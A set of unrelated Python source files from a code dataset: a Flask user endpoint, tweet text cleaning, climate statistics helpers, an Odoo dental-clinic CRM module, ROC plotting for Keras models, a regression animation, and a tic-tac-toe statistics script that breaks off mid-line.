+{"seq_id":"370461410","text":"from flask_restful import Resource, reqparse, marshal_with\nfrom flask_jwt_extended import jwt_required, fresh_jwt_required\nfrom ..user import user_api\nfrom ...utils.controller_decorators import auth\nfrom ...utils.model_fields import user_fields\nfrom ...utils.exceptions import UserDoesNotExist\nfrom ...services import user\n\n\nupdate_user_perser = reqparse.RequestParser()\nupdate_user_perser.add_argument('password', type=str, required=False, store_missing=False)\nupdate_user_perser.add_argument('email', type=str, required=False, store_missing=False)\n\n\nclass UserByUsername(Resource):\n    @fresh_jwt_required\n    @auth.self_only\n    @marshal_with(user_fields)\n    def put(self, username):\n        found_user = user.update_user(username, **update_user_perser.parse_args())\n        if not found_user:\n            raise UserDoesNotExist\n        return found_user\n\n    @jwt_required\n    @marshal_with(user_fields)\n    def get(self, username):\n        return user.get_user(username)\n\n\nuser_api.add_resource(UserByUsername,\n                      '/user/<string:username>',\n                      endpoint='user_by_username')\n","sub_path":"abovo/main/controllers/user/user_by_username.py","file_name":"user_by_username.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"382233580","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Dec 21 13:09:42 2018\n\n@author: Farhad\n\nTitle: Defining data cleaning function: (best version)\n\"\"\"\n\n\nimport pendulum\nimport re\nfrom nltk.tokenize import WordPunctTokenizer\nfrom bs4 import BeautifulSoup\nfrom textblob import TextBlob\nfrom nltk.tokenize import WordPunctTokenizer\nimport sys\n\nclass help():\n    import pandas as pd\n    df_cleaning = pd.DataFrame()\n    df_cleaning['funcation']=['cleaning.TwitterCleaner','cleaning.ckeckspeller']\n    df_cleaning['init']=['text','text']\n    df_cleaning['type']=['str','str']\n    df_cleaning['responsible']=[\"\"\"\n      clean data _ remove website address _\n      lowerspace _  n't to not _ nt to not\n    \n    \"\"\",\"\"\" checkspell with textblob.TextBlob \"\"\"]\n    \n    df_cleaning.head()\n\n\nclass cleaning():\n    \n    \n    \n    def __init__(self):\n        import re\n        from nltk.tokenize import WordPunctTokenizer\n        from bs4 import BeautifulSoup\n        from textblob import TextBlob\n        \n    \n    def __version__():\n        print(\"1.2.3\")\n        print(\"This Pakage designe by Farhad\")\n        print(\"github: Farhadsh1992\")\n        print(\"linkden: www.linkedin.com/in/farhad-shadmand-a86170121\")\n        \n    def help():\n        return \n        \n    def TwitterCleaner(self,text):\n        \n        \n        \n        tok = WordPunctTokenizer()\n        pat1 = r'@[A-Za-z0-9_]+'\n        pat2 = r'https?://[^ ]+'\n        www_pat = r'www.[^ ]+'\n    \n        combined_pat = r'|'.join((pat1, pat2))\n    \n        negations_dic = {\"isn't\":\"is not\", \"aren't\":\"are not\", \n                          \"wasn't\":\"was not\", \"weren't\":\"were not\",\n                          \"haven't\":\"have not\",\"hasn't\":\"has not\",\n                          \"hadn't\":\"had not\",\"won't\":\"will not\",\n                          \"wouldn't\":\"would not\", \"don't\":\"do not\",\n                          \"doesn't\":\"does not\",\"didn't\":\"did not\",\n                          \"can't\":\"can not\",\"couldn't\":\"could not\",\n                          \"shouldn't\":\"should not\",\"mightn't\":\"might not\",\n                          \"mustn't\":\"must not\",\"isnt\":\"is not\", \"arent\":\"are not\", \n                          \"wasnt\":\"was not\", \"werent\":\"were not\",\n                          \"havent\":\"have not\",\"hasnt\":\"has not\",\n                          \"hadnt\":\"had not\",\"wont\":\"will not\",\n                          \"wouldnt\":\"would not\", \"dont\":\"do not\",\n                          \"doesnt\":\"does not\",\"didnt\":\"did not\",\n                          \"cant\":\"can not\",\"couldnt\":\"could not\",\n                          \"shouldnt\":\"should not\",\"mightnt\":\"might not\",\n                          \"mustnt\":\"must not\",\"ist\":\"is not\", \"aret\":\"are not\", \n                          \n                          \"havet\":\"have not\",\"hasnt\":\"has not\",\n                          \"hadnt\":\"had not\",\"wont\":\"will not\",\n                          \"wouldt\":\"would not\", \"dont\":\"do not\",\n                          \"doest\":\"does not\",\"didt\":\"did not\",\n                          \"cant\":\"can not\",\"couldnt\":\"could not\",\n                          \"shouldt\":\"should not\"}\n        neg_pattern = re.compile(r'\\b(' + '|'.join(negations_dic.keys()) + r')\\b')\n        \n        \n        soup = BeautifulSoup(text, 'lxml')\n        souped = soup.get_text()\n        \n        try:\n            bom_removed = souped.decode(\"utf-8-sig\").replace(u\"\\ufffd\", \"?\")\n        except:\n            bom_removed = souped\n            \n        lower_case = bom_removed.lower()\n        stripped = re.sub(www_pat, '', lower_case)\n        stripped = re.sub(combined_pat, '', stripped)\n        \n        \n        neg_handled = neg_pattern.sub(lambda x: negations_dic[x.group()], stripped)\n        letters_only = re.sub(\"[^a-zA-Z]\", \" \", neg_handled)\n        # During the letters_only process two lines above, it has created unnecessay white spaces,\n        # I will tokenize and join together to remove unneccessary white spaces\n        words = [x for x  in tok.tokenize(letters_only) if len(x) > 1]\n        \n        return (\" \".join(words)).strip()\n    \n    def ckeckspeller(self,text):\n        \n        result = TextBlob(str(text)).correct()\n        \n        return result\n    \n    \n    \nclass cleaning_DataFrame():  \n    \n    \n    def __init__(self):\n        \n        self.ListC = []\n    \n    \n    def ckeckspeller(self,df):\n        \n        start = pendulum.now()\n        aa=0\n        for num,li in enumerate(df):\n            \n            lA = TextBlob(str(li)).correct()\n            self.ListC.append(lA)\n        if (num%5000)==1:\n            stop = pendulum.now()\n            dift1 = (start-stop)*1\n            estimatTime = -(dift1*len(df)/num)\n            aa+=1\n            run = (str(num)+'/'+str(len(df))+\n                   \" _ spended time:\" +str(dift1) +\" _ running \"+ \".\"*aa +\"#\")\n            sys.stdout.write('\\r'+ run + \"Estimate to finish:\" + str(estimatTime))\n        return self.ListC\n      \n    ","sub_path":"tools/farhad/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"249550095","text":"# -*- coding: utf-8 -*-\n\n'''\nenviromental functions and variables\n\nby Yixuan Zheng (yxzheng@carnegiescience.edu)\n'''    \n\n#for revision round 1\n#yz,20190725\n\nimport numpy as np\nimport pandas as pd\nimport os\nfrom statsmodels.tsa.stattools import acf\nfrom scipy import stats\n\n#useful functions\ndef mkdirs(path):\n    if not os.path.exists(path):\n        os.makedirs(path)\n  \ndef rmfile(file):      \n    if os.path.isfile(file):\n        os.remove(file)\n\n\ndef cal_ttest_1sam_autocor(sample,hvalue=0):\n    #conduct 1 sample t-test with an effective sample size adjusted for autocorrelation\n    sam_mean = np.mean(sample)\n    \n    g_acf = acf(sample)[1]\n    N = np.size(sample)\n    \n    if g_acf > 0:\n        cf = N * (1-g_acf) / (1+g_acf)\n    else:\n        cf = N*1\n    \n#    say = stats.sem(sample)\n    say = stats.sem(sample)*np.sqrt(N)/np.sqrt(cf)\n    \n    that = (sam_mean-hvalue)/say\n    \n    ## Compare with the critical t-value\n    #Degrees of freedom\n    df = N - 1\n\n    #p-value after comparison with the t \n    pvalue = 2* stats.t.cdf(-np.abs(that),df=df)\n    \n    return that,pvalue  \n\ndef grid_ind_2d(ind_1d):\n    #ind_1d started from 1\n    ind_1d = np.array(ind_1d)-1\n    ind_2d = np.array([np.array(ind_1d)//nlon, np.mod(ind_1d,nlon)])\n    return(ind_2d)\n    \ndef cal_lat_weight(i_lat):\n    #calculate area weights of grids with different latitude\n    ##change  latitude of centers of two polar grids\n    i_lat[0] = (i_lat[0] + i_lat[1])/2\n    i_lat[-1] = (i_lat[-1] + i_lat[-2])/2\n    lat_r = np.cos(i_lat*np.pi/180)##cosine of latitude, converted to radians, as weight\n    lat_r = np.repeat(lat_r[:,np.newaxis],nlon,axis=1)\n    #lat_r = lat_r/lat_r.sum()\n    return(lat_r)\n\ndef cal_global_mean(par,lat_r):\n    #grid weighted\n    par = np.squeeze(par)\n    mean_val=[]\n    for yr in np.arange(0,(np.shape(par))[0]):\n        par_yr = np.squeeze(par[yr,:,:])\n        mean_val.append((np.sum(par_yr*lat_r))/(np.sum(lat_r)))\n    return(mean_val)\n\ndef cal_cty_mean(par,pop,ctry):\n    #population weighted\n    #par = np.squeeze(par)\n    par = par \n    mean_val=[]\n    \n    for yr in np.arange(0,(np.shape(par))[0]):\n        par_yr = np.squeeze(par[yr,:])\n        pop = np.squeeze(pop)\n        #some country may have zero population (Antarctica or other small islands)\n        if np.sum(pop) == 0:\n            mean_val.append((np.mean(par_yr)))\n        else:\n            mean_val.append((np.sum(par_yr*pop))/(np.sum(pop)))\n        \n    return(mean_val)\n\n\ndef cal_global_mean_1yr(par,lat_r):\n    #grid weighted\n    par_yr = np.squeeze(par[:,:])\n    mean_val = ((np.sum(par_yr*lat_r))/(np.sum(lat_r)))\n    return(mean_val)\n    \ndef cal_cty_mean_1yr(par,pop,ctry):\n    #population weighted\n\n    par_yr = np.squeeze(par)\n    pop = np.squeeze(pop)\n        #some country may have zero population (Antarctica or other small islands)\n    if np.sum(pop) == 0:\n        mean_val = ((np.mean(par_yr)))\n    else:\n        mean_val = ((np.sum(par_yr*pop))/(np.sum(pop)))\n        \n    return(mean_val)\n\n\n#repeatly used variables\nyear = 2010\ngdpyear = 2010\n\nnscen = 3         #number of scenarios\nnens = 8          #number of ensemble members\nnyr_ra = 20       #running average window\nnyr = nens * nyr_ra   #total year numbers\nnyr_app = nyr #n-year applied for further analysis\n\nnlat = 96         \nnlon = 144\n\ndir_proj = '../'\nidir_root = dir_proj + 'input/'\nodir_root = dir_proj + 'output/'\ndir_mod = dir_proj + 'modules/'\n\nscenarios = ['With-Aerosol','No-Aerosol','No-Sulfate']\ndatasets = ['ERA-Interim','CESM','Reanalysis-1']\nparameters_info = {'TREFHT':{'pars':['TREFHT'],'expression':[1],'unit_org':'K','unit_out':'Celsius Degree','dir':'sim_temperature','longname':'temperature','delta':-273.15,'scale':1},\n              'AODVIS':{'pars':['AODVIS'],'expression':[1],'unit_org':'','unit_out':'','dir':'sim_aodvis','longname':'AOD 550nm','delta':0,'scale':1}}\n \n","sub_path":"modules/_env.py","file_name":"_env.py","file_ext":"py","file_size_in_byte":3850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"408695943","text":"# -*- coding: utf-8 -*-\n\nfrom datetime import datetime\n\nfrom odoo import _, api, fields, models\nfrom odoo.exceptions import UserError\nfrom odoo.tools import DEFAULT_SERVER_DATE_FORMAT as DF\n\n\nclass CRM(models.Model):\n    _inherit = \"crm.lead\",\n\n    patient = fields.Char('Patient', required=True, )\n    appointment_id = fields.Many2one('medical.appointment', 'Patient',\n                                     required=True, )\n    nationality = fields.Many2one(comodel_name=\"res.country\",\n                                  string=\"nationality\", required=False, )\n\n    @api.depends('birthday')\n    def compute_age(self):\n        for partner in self:\n            if partner.birthday:\n                today = fields.date.today()\n                born = datetime.strptime(str(partner.birthday), '%Y-%m-%d')\n                partner.age = today.year - born.year - (\n                            (today.month, today.day) < (born.month, born.day))\n            else:\n                partner.age = 0\n\n    patient_id = fields.Many2one(comodel_name=\"medical.patient\", string=\"\",\n                                 required=False, )\n    refer_patient_id = fields.Many2one(comodel_name=\"medical.patient\",\n                                       string=\"Referred By\", required=False, )\n    age = fields.Integer('Age', compute='compute_age')\n    occupation_id = fields.Many2one('medical.occupation', 'Occupation')\n    birthday = fields.Date('Birth Date')\n    gender = fields.Selection([('m', 'Male'), ('f', 'Female'), ], 'Gender', )\n    chief = fields.Many2one(comodel_name='chief.complaint',\n                            string=\"Chief Complaint\", required=False, )\n    case = fields.Char(string=\"Case ID\", compute='get_case_id')\n    appointment_count = fields.Integer(string=\"Appointments\", required=False,\n                                       compute='count_appointment')\n    name = fields.Char('Opportunity', required=False, index=True,\n                       compute=\"get_name_opportunity\")\n    marital_status = fields.Selection(\n        [('s', 'Single'), ('m', 'Married'), ('w', 'Widowed'), ('d', 'Divorced'),\n         ('x', 'Separated'), ],\n        'Marital Status')\n    is_create_patient = fields.Boolean(string=\"\", )\n\n    @api.depends('mobile', 'patient')\n    def get_name_opportunity(self):\n        for line in self:\n            if line.patient and line.mobile:\n                line.name = line.patient + ' / ' + str(line.mobile)\n            else:\n                line.name = ' / '\n\n    def get_case_id(self):\n        for case in self:\n            if case.id:\n                case.case = case.id\n            else:\n                case.case = '0'\n\n    # @api.depends('appointment_count')\n    def count_appointment(self):\n        for line in self:\n            appointment_count = 0\n            if line.id:\n                records = self.env['medical.appointment'].search(\n                    [('crm_id', '=', line.id)])\n                for rec in records:\n                    appointment_count += 1\n            line.appointment_count = appointment_count\n\n    def open_appointment(self):\n        return {\n            'type': 'ir.actions.act_window',\n            'res_model': 'medical.appointment',\n            'view_mode': 'tree,form',\n            'view_type': 'form',\n            'name': 'Appointment',\n            'domain': [('crm_id', '=', self.id)],\n            'context': {'default_crm_id': self.id, },\n            'target': 'current',\n\n        }\n\n    def create_patient(self):\n        partner_obj = self.env['res.partner']\n\n        # vals_partner =\n        partner = partner_obj.sudo().create({\n            'name': self.patient,\n            'is_patient': True,\n            'type': 'contact'\n\n        })\n        patient_obj = self.env['medical.patient']\n        patient = patient_obj.sudo().create({\n            'partner_id': partner.id,\n            'dob': self.birthday,\n            'sex': self.gender,\n            'marital_status': self.marital_status,\n            'other_mobile': self.mobile,\n            'occupation_id': self.occupation_id.id,\n            'medium_id': self.medium_id.id,\n        })\n        self.patient_id = patient.id\n        self.is_create_patient = True\n\n    def create_appointment(self):\n\n        appointment_obj = self.env['medical.appointment']\n        if not self.patient_id:\n            raise UserError(_(\"Please create Patient.\"))\n        vals = {\n            'patient': self.patient_id.id,\n            'crm_id': self.id,\n            'chief': self.chief.id,\n        }\n\n        appointment = appointment_obj.sudo().create(vals)\n        self.appointment_id = appointment.id\n        wiz_form_id = self.env['ir.model.data'].get_object_reference(\n            'pragtech_dental_management', 'medical_appointment_view')[1]\n        return {\n            'view_type': 'form',\n            'view_id': wiz_form_id,\n            'view_mode': 'form',\n            'res_model': 'medical.appointment',\n            'res_id': appointment.id,\n            'nodestroy': True,\n            'target': 'current',\n            'type': 'ir.actions.act_window',\n        }\n\n\nclass Chief_Complaint(models.Model):\n    _name = 'chief.complaint'\n\n    name = fields.Char()\n\n\nclass Appointment(models.Model):\n    _inherit = 'medical.appointment'\n\n    crm_id = fields.Many2one(comodel_name=\"crm.lead\", string=\"\",\n                             required=False, )\n    patient_coordinator = fields.Many2one(comodel_name=\"res.users\",\n                                          string=\"Patient Coordinator\",\n                                          required=False, )\n    chief = fields.Many2one(comodel_name='chief.complaint',\n                            string=\"Chief Complaint\", required=False, )\n\n    def cancel(self):\n        for rec in self:\n            partners = self.env.ref(\n                'pragtech_dental_management.group_branch_manager').users.filtered(\n                lambda r: r.partner_id).mapped('partner_id.id')\n            body = '<a target=_BLANK href=\"/web?#id=' + str(\n                rec.id) + '&view_type=form&model=medical.appointment&action=\" style=\"font-weight: bold\">' + str(\n                rec.name) + '</a>'\n            if rec.doctor.user_id.partner_id:\n                partners.append(rec.doctor.user_id.partner_id.id)\n            if rec.patient_coordinator.partner_id:\n                partners.append(rec.patient_coordinator.partner_id.id)\n            if partners:\n                rec.sudo().message_post(\n                    partner_ids=partners,\n                    subject=\"Appointment \" + str(rec.name) + \" is Cancelled\",\n                    body=\"Appointment \" + body + \"is Cancelled with patient \" + str(\n                        rec.patient.partner_id.name),\n                    message_type='comment',\n                    subtype_id=self.env.ref('mail.mt_note').id, )\n        self.write({'state': 'cancel'})\n\n    def notify_patient_coordinator(self):\n        for rec in self:\n            if not rec.patient_coordinator:\n                raise UserError(_(\"Please Add Patient Coordinator.\"))\n            # partners = [x.partner_id.id for x in self.env.ref('pragtech_dental_management.group_branch_manager').users]\n            body = '<a target=_BLANK href=\"/web?#id=' + str(\n                rec.id) + '&view_type=form&model=medical.appointment&action=\" style=\"font-weight: bold\">' + str(\n                rec.name) + '</a>'\n            if rec.patient_coordinator:\n                self.sudo().message_post(\n                    partner_ids=[self.patient_coordinator.partner_id.id],\n                    subject=\"Appointment \" + str(\n                        rec.name) + \"with patient \" + str(\n                        rec.patient.partner_id.name),\n                    body=\"You will be coordinator in Appointment \" + body + \"with patient \" + str(\n                        rec.patient.partner_id.name),\n                    message_type='comment',\n                    subtype_id=self.env.ref('mail.mt_note').id, )\n\n\nclass Patient(models.Model):\n    _inherit = 'medical.patient'\n    discount = fields.Float(string='Discount (%)', digits='Discount',\n                            default=0.0)\n\n    def select_all(self):\n        for line in self.teeth_treatment_ids:\n            line.is_selected = True\n\n    def get_all_discount(self):\n        for line in self.teeth_treatment_ids:\n            if line.is_selected == True:\n                line.discount = self.discount\n                line.is_selected = False\n\n\nclass Teeth(models.Model):\n    _inherit = 'medical.teeth.treatment'\n\n    inv = fields.Boolean(string='Is Invoice?')\n    invc_id = fields.Many2one('account.move', string='Invoice')\n    account_id = fields.Many2one(comodel_name=\"account.account\",\n                                 string=\"Account\", required=False, )\n    discount = fields.Float(string='Discount (%)', digits='Discount',\n                            default=0.0)\n    net_amount = fields.Float(string=\"Net Amount\", compute=\"get_net_amount\")\n    is_selected = fields.Boolean(string=\"\", )\n\n    @api.constrains('discount')\n    def check(self):\n        if self.env.user.has_group('clinic_req.discount_user_group'):\n            obj = self.env['discount.limitation'].search(\n                [('group_id', '=', 'Discount User')], limit=1)\n            if obj.discount_limitation < self.discount:\n                raise UserError(_('You are not allowed this discount !!'))\n        elif self.env.user.has_group('clinic_req.discount_manager_group'):\n            obj = self.env['discount.limitation'].search(\n                [('group_id', '=', 'Discount Manager')], limit=1)\n            if obj.discount_limitation < self.discount:\n                raise UserError(_('You are not allowed this discount !!'))\n        elif self.env.user.has_group('clinic_req.discount_admin_group'):\n            obj = self.env['discount.limitation'].search(\n                [('group_id', '=', 'Discount Admin')], limit=1)\n            if obj.discount_limitation < self.discount:\n                raise UserError(_('You are not allowed this discount !!'))\n\n    @api.depends('discount', 'amount')\n    def get_net_amount(self):\n        for line in self:\n            line.net_amount = line.amount - (\n                        (line.amount * line.discount) / 100)\n\n    @api.model\n    def create(self, values):\n        res = super(Teeth, self).create(values)\n\n        for line in res:\n            partners = self.env.ref(\n                'pragtech_dental_management.group_branch_manager').users.filtered(\n                lambda r: r.partner_id).mapped('partner_id.id')\n            partners_admin = self.env.ref(\n                'pragtech_dental_management.group_dental_admin').users.filtered(\n                lambda r: r.partner_id).mapped('partner_id.id')\n            all_partners = partners + partners_admin\n            body = '<a target=_BLANK href=\"/web?#id=' + str(\n                line.patient_id.id) + '&view_type=form&model=medical.patient&action=\" style=\"font-weight: bold\">' + '</a>'\n            if all_partners:\n                line.sudo().message_post(\n                    partner_ids=all_partners,\n                    subject=\"Operation \" + str(\n                        line.description.name) + \" is created\",\n                    body=\"New service \" + body + \"added to Patient \" + str(\n                        line.patient_id.partner_id.name),\n                    message_type='comment',\n                    subtype_id=self.env.ref('mail.mt_note').id)\n        return res\n\n    def create_invoice(self):\n        \"\"\"Create invoice for Rent Schedule.\"\"\"\n        for line in self:\n            # if not line.account_id:\n            #     raise UserError(_('Please Add the incoming Account !!'))\n            self.ensure_one()\n            journal_id = self.env['account.journal'].search([\n                ('type', '=', 'sale')], limit=1)\n            inv_line_main = {\n                'name': line.description.name,\n                'price_unit': line.amount or 0.00,\n                'quantity': 1,\n                'discount': line.discount,\n                'account_id': line.description.property_account_income_id.id or line.description.categ_id.property_account_income_categ_id.id or False,\n            }\n            inv_values = {\n                'partner_id': line.patient_id.partner_id.id,\n                'patient_id': line.patient_id.id,\n                'dentist': line.dentist.id,\n                'move_type': 'out_invoice',\n                'invoice_date': datetime.now().strftime(DF) or False,\n                'journal_id': journal_id and journal_id.id or False,\n                'teeth_id': line.patient_id and line.patient_id.id or False,\n            }\n            acc_id = self.env['account.move'].create(inv_values)\n            acc_id.write({'invoice_line_ids': [(0, 0, inv_line_main)]})\n\n            self.write({'invc_id': acc_id.id, 'inv': True})\n            context = dict(self._context or {})\n            wiz_form_id = self.env['ir.model.data'].get_object_reference(\n                'account', 'view_move_form')[1]\n\n            return {\n                'view_type': 'form',\n                'view_id': wiz_form_id,\n                'view_mode': 'form',\n                'res_model': 'account.move',\n                'res_id': self.invc_id.id,\n                'type': 'ir.actions.act_window',\n                'target': 'current',\n                'context': context,\n            }\n\n    def open_invoice(self):\n        \"\"\"Method Open Invoice.\"\"\"\n        context = dict(self._context or {})\n        wiz_form_id = self.env['ir.model.data'].get_object_reference(\n            'account', 'view_move_form')[1]\n        return {\n            'view_type': 'form',\n            'view_id': wiz_form_id,\n            'view_mode': 'form',\n            'res_model': 'account.move',\n            'res_id': self.invc_id.id,\n            'type': 'ir.actions.act_window',\n            'target': 'current',\n            'context': context,\n        }\n\n\nclass NewModule(models.Model):\n    _inherit = 'account.move'\n\n    teeth_id = fields.Many2one(comodel_name=\"medical.patient\", string=\"\",\n                               required=False, )\n","sub_path":"clinic_req/models/crm_lead.py","file_name":"crm_lead.py","file_ext":"py","file_size_in_byte":14048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"440662392","text":"import os\nimport tensorflow as tf\nfrom keras.backend.tensorflow_backend import set_session\nconfig = tf.ConfigProto()\nconfig.gpu_options.per_process_gpu_memory_fraction = 0.8\nconfig.gpu_options.visible_device_list = \"1\"\nset_session(tf.Session(config=config))\nimport keras\nimport json\nimport pathlib\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom glob import glob\nfrom sklearn.metrics import roc_curve, auc\nfrom skimage import io, img_as_float, transform\nfrom inception_v3_multilabel import InceptionV3\nfrom vgg16_multilabel import VGG16\nfrom vgg19_multilabel import VGG19\n\nfrom load_data import load_val_data\n\n\ndef evaluate_model(batch_size, data_dir, image_sz, model_type, num_classes, weights_path):\n    if not os.path.isfile(weights_path):\n        print('\\n### File not found: ' + weights_path + '\\n')\n\n        return None, None, None\n\n    model_filename = os.path.split(weights_path)[-1]\n    pred_dir = os.path.join(data_dir, 'predictions', model_filename[:-5])\n    pathlib.Path(pred_dir).mkdir(parents=True, exist_ok=True)\n\n    pred_path = os.path.join(pred_dir, 'pred_val.txt')\n    if os.path.isfile(pred_path):\n        print('Loading cached predictions from ' + pred_path)\n        predictions = pd.read_csv(pred_path, header=None).get_values()\n    else:\n        data_shape = (image_sz, image_sz)\n        (x_val, _) = load_val_data(data_dir, data_shape)\n\n        model = model_type(weights=None, include_top=True, input_shape=(image_sz, image_sz, 1), classes=num_classes)\n\n        print('Loading model ' + weights_path)\n        model.load_weights(weights_path)\n\n        print('Predicting values')\n        predictions = model.predict(x_val, batch_size=batch_size)\n\n        print('Saving predictions to ' + pred_path)\n        df = pd.DataFrame(data=predictions)\n        df.to_csv(pred_path, header=None, index=None)\n\n    return predictions, weights_path\n\n\ndef make_combined(d):\n    if len(d) < 2:\n        return\n\n    sum_pred = None\n    for model_file in d:\n        if sum_pred is None:\n            sum_pred = d[model_file].copy()\n        else:\n            sum_pred += d[model_file]\n    d['combined'] = sum_pred\n\n\ndef main():\n    num_classes = 3\n    data_dir = '/home/skliff13/work/PTD_Xray/datasets/abnormal_lungs/v2.0'\n    batch_size = 16\n\n    tests = list()\n    # tests.append([VGG16, 224, '../d_Network_Training_Multilabel/models/'\n    #                           'abnormal_lungs_v2.0_8cl_Sz224_VGG16_Adam_Ep30_Lr1.0e-05_MeanAuc0.848.hdf5'])\n    # tests.append([VGG19, 224, '../d_Network_Training_Multilabel/models/'\n    #                           'abnormal_lungs_v2.0_8cl_Sz224_VGG19_Adam_Ep30_Lr1.0e-05_MeanAuc0.847.hdf5'])\n    # tests.append([InceptionV3, 299, '../d_Network_Training_Multilabel/models/'\n    #                                 'abnormal_lungs_v2.0_8cl_Sz299_InceptionV3_Adam_Ep30_Lr1.0e-05_MeanAuc0.852.hdf5'])\n    tests.append([VGG16, 224, '../d_Network_Training_Multilabel/models/'\n                              'abnormal_lungs_v2.0_Sz224_VGG16_Adam_Ep30_Lr1.0e-05_MeanAuc0.883.hdf5'])\n\n    df = pd.read_csv(os.path.join(data_dir, 'val.txt'), header=None, sep=' ')\n    y_val = df[1].get_values()\n    y_val = keras.utils.to_categorical(y_val, num_classes)\n\n    d = {}\n    for model_type, image_sz, weights_path in tests:\n        pred, model_file = evaluate_model(batch_size, data_dir, image_sz, model_type, num_classes, weights_path)\n        if pred is not None:\n            d[model_type.__name__] = pred\n\n    # make_combined(d)\n\n    lw = 2\n    plt.figure(figsize=(4.5, 4.5), dpi=600)\n    # plt.figure(figsize=(6, 6))\n    plt.plot([0, 1], [0, 1], color='lime', lw=lw, linestyle='--', label='baseline')\n\n    line_styles = [':', '-.', '-']\n    counter = 0\n\n    for model_file in d:\n        pred = d[model_file]\n        fpr, tpr, _ = roc_curve(y_val[:, 1].ravel(), pred[:, 0].ravel())\n        roc_auc = auc(fpr, tpr)\n\n        ls = line_styles[counter]\n        counter = (counter + 1) % len(line_styles)\n\n        plt.plot(fpr, tpr, lw=lw, label=('%s (AUC %0.3f)' % (model_file, roc_auc)), linestyle=ls)\n\n    plt.xlim([0.0, 1.0])\n    plt.ylim([0.0, 1.0])\n    # plt.title('ROC curves')\n    plt.xlabel('False Positive Rate')\n    plt.ylabel('True Positive Rate')\n    plt.legend(loc='lower right', prop={'size': 10})\n    plt.savefig('fig.png')\n    # plt.show()\n\n\nif __name__ == '__main__':\n    main()\n","sub_path":"d_Network_Training_Multilabel/run_b_plot_rocs.py","file_name":"run_b_plot_rocs.py","file_ext":"py","file_size_in_byte":4348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"512489172","text":"import IPython.display\nimport matplotlib.animation\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nclass MultivariateOptimizationPlotAnimation:\n    FIG_SIZE = (5, 5)\n    SLEEP = 1000\n\n    def __init__(\n            self,\n            dataset,\n            model,\n            num_steps,\n            sleep = SLEEP,\n    ):\n        self.dataset = dataset\n        self.model = model\n        self.theta0s, self.theta1s = (\n            [self.model.theta0], [self.model.theta1]\n        )\n        self.num_steps = num_steps\n        self.sleep = sleep\n\n    def unnormalized_theta0(self):\n        return (\n            self.dataset.y_stddev * self.model.theta0\n            - (\n                self.dataset.y_stddev\n                / self.dataset.x_stddev\n            ) * self.model.theta1 * self.dataset.x_mean\n            + self.dataset.y_mean\n        )\n\n    def unnormalized_theta1(self):\n        return (\n            self.dataset.y_stddev\n            / self.dataset.x_stddev\n        ) * self.model.theta1\n\n    def frame(self, axes, frame_idx):\n        self.model.improve(self.dataset)\n\n        axes.clear()\n        axes.plot(\n            self.dataset.unnormalized_x,\n            self.dataset.unnormalized_y,\n            '.'\n        )\n\n        x_min, x_max = (\n            np.min(self.dataset.unnormalized_x),\n            np.max(self.dataset.unnormalized_x)\n        )\n        x_range = np.arange(x_min, x_max, (x_max - x_min) / 100)\n        y_values = (\n            self.unnormalized_theta0()\n            + self.unnormalized_theta1() * x_range\n        )\n\n        axes.plot(x_range, y_values)\n\n        axes.set_title(\n            f\"Step #{frame_idx} | \"\n            f\"theta0: {self.unnormalized_theta0():0.2f} | \"\n            f\"theta1: {self.unnormalized_theta1():0.2f}\"\n        )\n\n    def run(self):\n        figure = plt.figure(figsize = type(self).FIG_SIZE)\n        axes = figure.add_subplot(111)\n\n        animation = matplotlib.animation.FuncAnimation(\n            fig = figure,\n            func = lambda frame_idx: self.frame(axes, frame_idx),\n            frames = self.num_steps,\n            interval = self.sleep,\n            init_func = lambda: None\n        )\n\n        plt.close(figure)\n\n        IPython.display.display(\n            IPython.display.HTML(animation.to_html5_video())\n        )\n","sub_path":"00_linear_least_squares/lib/multivariate_optimization_plot_animation.py","file_name":"multivariate_optimization_plot_animation.py","file_ext":"py","file_size_in_byte":2289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"516852671","text":"from txt_game.tic_tac_toe.statistics import gen_common_stat, get_seq_stat\nfrom txt_game.visual import visualize_seq\nimport matplotlib\nimport numpy as np\n\nfrom matplotlib import pyplot as plt\n\n\ndef main():\n    common_stat = gen_common_stat()\n    seq_stat = get_seq_stat(list(common_stat['Moves'].keys()), list(common_stat['Moves'].values()))\n    print(seq_stat)\n\n    x = seq_stat['xlst']\n    x = np.array([x[0] - 1] + list(x) + [x[-1] + 1])\n    y = seq_stat['ylst']\n    y = np.array([0] + list(y) + [0])\n    # print(x)\n    # print(y)\n\n    fig, ax = plt.subplots()  # Create a figure and an axes.\n    dist_prob = [y[0]]\n    for value in y[1:]:\n        dist_prob.append(value + dist_prob[-1])\n    summ = dist_prob[-1]\n    dist_prob = [i * 100 / summ for i in dist_prob]\n    dist_prob_dens = [i * 100 / summ for i in y]\n\n    avg = sum([dist_prob_dens[i] * x[i] / 100 for i in range(len(dist_prob_dens))])\n    dispersion = sum([dist_prob_dens[i] * ((x[i] - avg) ** 2) / 100 for i in range(len(dist_prob_dens))])\n    std = dispersion ** 0.5\n\n    print('Average:', avg)\n    print('Standart deviation: ', std)\n    x_ideal = np.arange(x[0], x[-1] + 1, 0.1)\n    y_ideal = np.exp(-np.square(x_ideal - avg) / (2 * std ** 2)) / (np.sqrt(2 * np.pi) * std) * 100\n\n    # print(dist_prob_dens)\n    l1, = ax.plot(x, dist_prob, ls='--', lw=3, mec='blue', alpha=0.8)\n    l1.set_label('Probability distribution')\n    l2, = ax.plot(x, dist_prob_dens, mew=1, mec='green')\n    l2.set_label('Probability density distribution')\n    s1 = ax.scatter(x, dist_prob_dens, c='red')\n    l3, = ax.plot(x_ideal, y_ideal)\n    l3.set_label('Normal probability density')\n    ax.set_xlabel('Number of moves')  # Add an x-label to the axes.\n    ax.set_ylabel('Probability, %')  # 